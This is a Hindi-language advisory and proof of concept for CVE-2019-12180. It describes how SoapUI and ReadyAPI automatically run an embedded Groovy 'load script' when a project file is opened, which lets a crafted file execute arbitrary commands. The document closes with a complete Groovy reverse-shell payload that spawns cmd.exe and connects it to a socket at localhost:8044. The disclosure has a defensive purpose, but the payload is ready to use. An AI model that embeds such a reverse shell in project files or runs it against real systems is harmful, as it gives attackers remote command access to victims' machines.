
CVE-2019-12180 के लिए सलाह और प्रमाण की अवधारणा, जो दुर्भावनापूर्ण प्रोजेक्ट फ़ाइलों के माध्यम से SoapUI और ReadyAPI में मनमाना Groovy कोड निष्पादन प्रदर्शित करती है।
सलाह और PoC
SoapUI और ReadyAPI आपको Apache Groovy Language स्क्रिप्ट का उपयोग करके टेस्ट केस में डायनामिक सामग्री बनाने या जोड़ने की अनुमति देते हैं (उदाहरण के लिए, फ्लाई पर टाइमस्टैम्प की गणना करना)। इन स्क्रिप्टों के निष्पादन को कई तरीकों से ट्रिगर किया जा सकता है और प्रोजेक्ट सेव होने के बाद वे XML "प्रोजेक्ट फ़ाइल" के अंदर संग्रहीत होते हैं।
"लोड स्क्रिप्ट" फ़ंक्शन एक Groovy स्क्रिप्ट बनाने की अनुमति देता है जो प्रोजेक्ट फ़ाइल खोलने पर (XML प्रोजेक्ट फ़ाइल के con:afterLoadScript तत्व) बिना किसी उपयोगकर्ता इंटरैक्शन के लॉन्च होती है। इस व्यवहार का दुरुपयोग एक हमलावर द्वारा दुर्भावनापूर्ण प्रोजेक्ट फ़ाइलें बनाने के लिए किया जा सकता है, जो खोलने पर पीड़ित सिस्टम पर मनमाना Groovy कोड निष्पादित करती हैं। चूंकि Groovy भाषा का उपयोग करके सिस्टम कमांड निष्पादित करना संभव है, इस सुविधा का दुरुपयोग प्रभावी रूप से रिमोट कमांड निष्पादित करने के लिए किया जा सकता है।
नोट: वही लक्ष्य किसी अन्य Groovy स्क्रिप्ट-सक्षम फ़ंक्शन (उदाहरण के लिए "सेव स्क्रिप्ट") का शोषण करके प्राप्त किया जा सकता है, लेकिन इसके लिए प्रोजेक्ट फ़ाइल लोड करने के बाद अतिरिक्त उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी।
कमजोर एप्लिकेशन:
लेखन के समय (2020-02-04), यह एक 0day कमजोरी है, क्योंकि (एकाधिक) प्रस्तावित प्रकटीकरण तिथियां बीत चुकी हैं और विक्रेता द्वारा कोई पैच रिलीज़ नहीं किया गया है।
Groovy रिवर्स शेल का उदाहरण (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();